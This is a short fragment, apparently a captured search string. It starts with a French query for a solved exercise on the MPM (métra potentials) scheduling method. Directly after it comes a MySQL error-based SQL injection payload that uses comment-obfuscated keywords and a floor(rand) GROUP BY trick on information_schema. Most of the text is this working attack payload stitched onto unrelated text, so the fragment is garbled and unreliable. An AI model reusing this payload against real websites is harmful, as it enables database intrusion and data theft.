Exercice corrigé la methode des potentiels métra (MPM) or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT /**/uNhEx(/**/hEx(/**/cOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21)))) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1